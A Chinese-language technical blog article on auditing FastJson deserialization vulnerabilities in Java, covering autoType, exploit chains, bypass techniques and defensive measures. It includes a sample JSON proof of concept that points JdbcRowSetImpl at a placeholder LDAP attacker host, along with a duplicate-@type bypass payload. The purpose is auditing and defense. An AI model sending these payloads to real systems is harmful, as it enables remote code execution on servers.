FastJson反序列化漏洞深度审计:原理、利用链与安全实践

📅 2026/8/24 18:54:20
FastJson反序列化漏洞深度审计:原理、利用链与安全实践
1. 项目概述一次完整的FastJson反序列化漏洞深度审计之旅最近在做一个内部系统的安全评估又双叒叕碰到了FastJson。这个库在Java生态里太常见了功能强大用起来也方便但它的反序列化安全问题就像房间里的大象大家都知道但总有人心存侥幸或者干脆不了解。这次审计的目标很明确给定一个使用了FastJson进行数据交换的Web应用我们需要系统地找出其中可能存在的反序列化漏洞理解其背后的利用链是如何构造的并通过动态调试亲眼见证漏洞的触发过程。更重要的是随着FastJson版本的迭代和autoType机制的不断加强老一套的利用方式很多已经失效我们需要掌握最新的绕过技巧和审计思路。这不仅仅是一个漏洞的发现过程更是一次对Java安全机制、类加载过程和代码执行路径的深度探索。无论你是负责安全审计的工程师还是日常开发中用到FastJson的程序员理解这套流程都能让你对自己的代码有更强的掌控力知道风险点在哪以及如何规避。2. 核心原理与漏洞根源剖析要审计FastJson首先得把它那套“魔法”背后的原理掰开揉碎了看明白。FastJson的反序列化漏洞核心矛盾点就在于它强大的功能和安全性之间的博弈。2.1 FastJson序列化与反序列化的基本机制FastJson在将JSON字符串转换成Java对象反序列化时核心方法是JSON.parse()和JSON.parseObject()。它们之间的区别至关重要。JSON.parse()会返回一个JSONObject或者指定的类型对象而JSON.parseObject()在内部调用了parse()之后还会尝试将结果转换成指定的Java类。当我们在反序列化时使用了形如JSON.parseObject(jsonString, SomeClass.class)的代码或者JSON字符串中包含了type这个关键信息时FastJson就会尝试去实例化指定的类。这个实例化过程就是风险的起点。FastJson为了能够正确设置对象属性会通过反射调用类的setter方法、getter方法或者直接访问public字段。例如一个JSON{name:test, value:123}在反序列化到某个类时FastJson会尝试调用setName(“test”)和setValue(123)。这个过程本身是功能所需但问题在于如果这个“设置属性”的过程被恶意类利用变成了“执行代码”的过程漏洞就产生了。2.2 autoType安全与便利的“开关”为了控制反序列化过程中可以实例化哪些类FastJson引入了autoType机制。在早期版本中这个开关默认是关闭的意味着你不能直接通过type指定一个任意类名来实例化。但从1.2.25版本开始由于安全考虑autoType默认被彻底关闭了。开发者必须显式地通过ParserConfig.getGlobalInstance().addAccept(“com.xxx.”)来添加白名单或者开启autoType不推荐。然而这个安全机制并非铁板一块。FastJson为了兼容性内置了一个庞大的黑名单里面列出了一系列已知的危险类如TemplatesImpl,JdbcRowSetImpl等。同时它也提供了一些特性开关比如Feature.SupportNonPublicField支持非公有字段等。攻击者和安全研究员的博弈就围绕着如何绕过黑名单、利用特性开关以及寻找不在黑名单中的“新链”展开。漏洞的根源本质上在于Java反射机制的能力过于强大而FastJson在反序列化时将部分控制权交给了不可信的输入数据。注意这里要特别警惕一种误区认为只要关闭autoType或者使用最新版就高枕无忧。很多漏洞恰恰出在开发者为了“方便”而开启了某些特性或者依赖的第三方库中引入了危险类而FastJson的黑名单没有及时覆盖。审计时全局搜索ParserConfig、addAccept、setAutoTypeSupport等关键字是第一步。3. 静态代码审计定位风险点与入口审计开始我们不会直接去动态调试而是先进行静态代码分析像侦探一样搜集线索缩小排查范围。我们的工具可以是IDEA的全局搜索也可以是专门的SAST静态应用安全测试工具但核心思路是手动的、基于理解的审计。3.1 关键代码模式搜索首先在全项目代码中搜索FastJson反序列化的调用点。主要关注以下几个模式JSON.parseObject(input, Class) 这是最典型的模式如果第二个参数Class是来自用户可控的输入那就是极高风险点。但更多情况下这里是一个固定的类。JSON.parse(input) 单独使用parse如果没有后续的类型转换默认返回JSONObject风险相对较低但并非没有。需要看这个JSONObject后续如何被使用。JSON.parseObject(input) 单参数形式返回JSONObject同样需要关注后续使用。最关键的模式搜索type。在请求参数、HTTP Body、配置文件、数据库存储的JSON字段中如果发现了type字样就意味着这段数据可能在某个环节被FastJson反序列化并且尝试指定类型。这是最直接的攻击面。除了FastJson自身的API还要关注那些接收Object、泛型参数或者方法签名比较宽泛的接口。例如一个RPC框架的泛型反序列化方法底层可能就调用了FastJson。3.2 依赖分析与黑名单类排查光找到入口还不够我们需要知道攻击者可能利用哪些“武器”类。使用mvn dependency:tree或Gradle的依赖分析功能梳理项目所有依赖。重点关注那些已知的、常被用于构造利用链的库commons-collections(3.x, 4.x) 老牌利用链基地CC链。commons-beanutils CB链。rome 反序列化利用链。spring-aop, spring-core 某些版本中的类可能被利用。任何包含TemplatesImpl、JNDI查找如JdbcRowSetImpl、XSLT转换、动态类加载功能的库。在审计过程中我会建一个表格记录每个反序列化调用点、可控的输入参数、预期的反序列化类型以及项目依赖中是否存在已知的危险库。这能帮助我快速评估风险等级。调用点位置反序列化方法输入来源目标类型/行为依赖中危险库风险评级UserController#loginJSON.parseObject(body, User.class)HTTP POST Bodycom.example.model.User无低目标类简单ConfigService#loadRemoteJSON.parse(configStr)远程配置中心返回JSONObject后续调用getObject(“data”, Map.class)存在commons-collections 3.2.2中需看后续操作GenericRpcDecoder#decodeJSON.parseObject(bytes, Class.forName(typeName))RPC协议中的类型名字段动态加载的任意类存在rome 1.0高动态类名危险库3.3 上下文与数据流跟踪对于中高风险点需要进行数据流跟踪。以那个GenericRpcDecoder为例typeName从哪里来从网络数据包中解析得来用户完全可控。Class.forName(typeName)会加载什么类如果白名单控制不严可能加载任意类。加载的类被传给JSON.parseObjectFastJson会实例化它。如果这个类有危险的setter、getter、构造函数或静态代码块漏洞就可能触发。即使typeName不可控但JSON数据本身可控。如果目标类比如一个为了便捷而设计的Map包装类的某个setter方法参数类型很宽泛如setValue(Object obj)攻击者仍然可以通过type在该属性上“嵌套”一个恶意对象。静态审计到这里我们已经有了怀疑对象列表。接下来就需要通过动态调试来验证我们的猜想并亲眼目睹漏洞链的触发。4. 动态调试与利用链跟踪实战动态调试是让漏洞“活”过来的过程。我们不仅仅要证明漏洞存在更要清晰地看到从恶意JSON输入到最终代码执行的完整路径。这里我以在IDEA中调试一个存在漏洞的Spring Boot Web应用为例。4.1 环境搭建与调试准备首先确保你的测试应用引入了有漏洞的FastJson版本例如1.2.24以及相关的依赖链如commons-collections 3.1。在IDEA中以Debug模式启动应用。在疑似漏洞的入口处如某个Controller的请求处理方法打上断点。构造一个最简单的POC概念验证请求。例如针对经典的JdbcRowSetImpl利用链利用JNDI注入一个原始的POC可能如下{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker.com:1389/Exploit, autoCommit: true }在浏览器或使用Postman/Burp Suite发送这个JSON到你的目标接口。4.2 跟踪反序列化过程当请求命中断点后开始步步调试F7进入JSON.parseObject方法。解析与类型识别 你会看到FastJson的DefaultJSONParser开始解析JSON字符串。当它遇到type时会提取出类名com.sun.rowset.JdbcRowSetImpl。黑名单检查 关键的一步跟进代码你会到达ParserConfig.checkAutoType()方法。在这个方法里FastJson会检查类名是否在黑名单中。在1.2.25之后JdbcRowSetImpl通常就在黑名单里此时会直接抛出异常。这就是为什么老POC在新版本上直接失效的原因。实例化与属性设置 如果绕过了黑名单或者你测试的是旧版本FastJson会使用JavaBeanDeserializer等反序列化器通过反射创建JdbcRowSetImpl的实例。然后它会依次解析dataSourceName和autoCommit属性。触发漏洞点 当FastJson尝试设置autoCommit: true时它会调用JdbcRowSetImpl.setAutoCommit(true)方法。跟踪进入这个方法你会发现它内部调用了connect()。而connect()方法会去查找dataSourceName也就是我们控制的JNDI地址从而发起一个恶意的JNDI查询导致远程类加载或RCE。通过调试我们清晰地看到了“输入类名 - 实例化 - 调用特定setter - setter触发危险操作”这条链。这比单纯看报告要深刻得多。4.3 复杂利用链的拼接跟踪JdbcRowSetImpl链相对直接。对于更复杂的链如CC链Common Collections Chain调试起来就像走迷宫。它的原理是利用一系列实现了Transformer、InvokerTransformer接口的类以及ChainedTransformer、LazyMap、TiedMapEntry、HashMap的readObject或某些特定方法如equals,hashCode形成一个“接力赛”最终在反序列化完成时或后续某个操作触发时执行任意代码。调试这种链你需要提前理解链的构造 在纸上或脑子里画好调用关系图。例如HashMap.readObject() - TiedMapEntry.hashCode() - LazyMap.get() - ChainedTransformer.transform() - InvokerTransformer.transform() - Runtime.exec()。从链的末端开始设断点 比如在InvokerTransformer.transform()或Runtime.exec()处设断点。反向推导 当断点命中时查看调用栈Call Stack。调用栈会清晰地展示出整个触发路径从反序列化入口如BadAttributeValueExpException.readObject一直到命令执行。通过分析栈帧中的变量你可以理解每一层是如何传递和转换的。关注getter和equals/hashCode 在CC链中漏洞触发往往不是通过setter而是通过反序列化后容器类如HashMap在readObject时触发的hashCode()计算或者FastJson在反序列化过程中为了比较对象而调用的equals()方法。在调试时要特别注意这些“非典型”的调用入口。动态调试的价值在于它能帮你确认漏洞是否真实可利用理解利用条件是否需要特定的类在classpath中是否需要特定的JDK版本等并且为编写更稳定、更兼容的EXP利用工具提供依据。5. autoType绕过技巧与最新漏洞分析随着FastJson不断更新黑名单和加固checkAutoType逻辑直接使用黑名单类名的攻击方式基本失效。攻击与防御的较量进入了“绕过”阶段。理解这些绕过技巧对于审计和防御都至关重要。5.1 基于黑名单遗漏的绕过这是最直接的绕过方式。FastJson的黑名单并非全知全能。安全研究员不断发现新的、可利用的“gadget class” gadget小工具类这些类不在黑名单内但能与其他类组合形成利用链。例如在某些版本的spring-aop或mybatis中发现的类。审计时需要关注项目引入的、功能强大的第三方库分析其是否有可被序列化、且包含危险方法的类。5.2 基于异常处理机制的绕过在FastJson的某些版本中checkAutoType的逻辑存在缺陷。一种经典的绕过方式是同时提供两个type键。例如{ type: java.lang.Exception, type: com.sun.rowset.JdbcRowSetImpl, ... }FastJson在解析时可能会因为第一个类型解析异常而尝试第二个并在异常处理过程中忽略了第二次的类型检查。这种绕过方式高度依赖特定版本的代码逻辑。5.3 基于缓存机制的绕过FastJson为了提高性能会对反序列化器Deserializer进行缓存。攻击者可以先通过一个合法的、在白名单内的请求让FastJson缓存某个危险类的反序列化器。然后在后续请求中即使checkAutoType拒绝了该类但由于缓存中已存在其反序列化器FastJson可能会直接使用从而绕过检查。这需要攻击者能进行两次交互并且应用存在缓存机制。5.4 基于期望类expectClass的绕过这是近年来非常有效且常见的一种绕过方式。它利用了checkAutoType方法中一个重要的参数expectClass期望类。当调用JSON.parseObject(jsonString, SomeClass.class)时SomeClass.class会作为expectClass传入。checkAutoType的逻辑是如果请求反序列化的类我们称其为inputClass是expectClass的子类或实现类那么在某些情况下即使inputClass不在白名单也可能被放行。因为从逻辑上讲将数据反序列化成父类/接口期望的子类是合理的。攻击者如何利用呢他们需要寻找一个在白名单或安全范围内的expectClass比如常见的接口Map,List,Object,Serializable或者一些框架基类然后找到一个该类的危险子类。例如expectClass是Map攻击者使用com.sun.rowset.JdbcRowSetImpl它实现了Serializable但并非Map此例不直接成立仅为说明思路。更实际的例子是某些缓存库或数据结构库中有实现了Map或Collection的危险类。更经典的案例是 FastJson 自身的历史漏洞expectClass为Throwable时可以加载AutoCloseable等危险类。在审计时要特别关注那些使用JSON.parseObject(json, Type)并且Type是泛型接口、抽象类或宽泛父类的情况。攻击者可能通过精心构造的JSON让实际反序列化的类是这个宽泛类型的某个危险子类。5.5 FastJson 1.2.68 后的autoType支持与安全增强从1.2.68版本开始FastJson引入了一套更严格的autoType控制机制。它要求开启autoType时必须显式指定白名单并且白名单支持前缀匹配如com.secure.。同时它引入了safeMode模式在此模式下将完全禁用autoType这是最安全的做法。审计建议检查版本 首先确认FastJson版本。如果是1.2.68检查是否开启了safeMode。检查白名单配置 全局搜索ParserConfig查看addAccept添加了哪些包前缀。白名单是否过于宽泛如com.、org.警惕expectClass滥用 即使配置了白名单也要审计那些使用宽泛expectClass的parseObject调用点。升级与修复 对于老旧系统首要建议是升级到最新版本1.2.83并启用safeMode。如果因兼容性问题无法升级则必须严格配置白名单并审查所有反序列化点。6. 防御策略与安全编码实践审计的最终目的不是为了攻击而是为了加固。根据上面的分析我们可以从多个层面构建防御体系。6.1 开发层最小化风险版本升级 毫不犹豫地升级到FastJson最新稳定版如1.2.83及以上并启用safeMode。这是最根本、最有效的措施。// 启用安全模式彻底关闭autoType ParserConfig.getGlobalInstance().setSafeMode(true);严格的白名单 如果确实需要autoType功能通常不建议必须使用精确的白名单。ParserConfig config ParserConfig.getGlobalInstance(); config.addAccept(“com.yourcompany.securemodel.”); // 只接受特定包下的类 // 绝对不要使用 config.setAutoTypeSupport(true); // 这是危险操作使用指定类型的parseObject 尽量使用JSON.parseObject(jsonString, MySpecificClass.class)避免使用JSON.parse(jsonString)后获取JSONObject再进行复杂转换。明确的反序列化目标可以限制攻击面。输入验证与过滤 在数据进入反序列化函数前对JSON字符串进行严格的格式和内容检查。虽然很难直接过滤掉精心构造的利用链但可以过滤掉明显的type关键字注意这不是绝对安全因为利用链可能不需要type。避免反序列化不可信数据 这是黄金法则。不要使用FastJson反序列化来自网络、用户输入、外部存储的不可信数据。对于配置信息考虑使用更安全的格式如YAML配合安全加载器或Properties文件。6.2 架构与运维层纵深防御依赖管理 使用Maven Enforcer插件或类似工具禁止引入已知存在高危反序列化漏洞的组件版本如特定版本的commons-collections、rome等。定期扫描依赖漏洞。JVM层面防护 可以考虑使用Java Security Manager来限制反射、JNDI访问、外部进程执行等敏感操作。虽然配置复杂但能提供一层坚实的隔离。WAF/ RASP防护 在应用层防火墙WAF或通过运行时应用自我保护RASP技术可以检测和阻断反序列化攻击流量。RASP能深入到应用内部监控危险API如Runtime.exec,Class.forName的调用栈判断其是否由反序列化触发。网络隔离 限制应用服务器出站连接特别是LDAP、RMI等协议可以阻断JNDI注入等需要外连的攻击方式。6.3 安全测试与监控常态化漏洞扫描 将FastJson等组件的安全扫描纳入CI/CD流程使用SCA软件成分分析工具。灰盒/黑盒测试 定期对应用进行反序列化漏洞专项测试尝试使用公开的和自研的POC进行探测。日志监控 在应用中关键的反序列化点添加监控日志记录反序列化的目标类名。一旦出现异常或非预期的类名尝试立即告警。FastJson反序列化漏洞的审计是一场攻防技术的深度实践。它要求我们不仅要知道如何攻击更要深刻理解其原理从而能从代码编写、架构设计、运维部署等多个环节构建起有效的防御。对于开发者而言最务实的态度就是保持依赖组件更新遵循安全编码规范对不可信数据保持敬畏。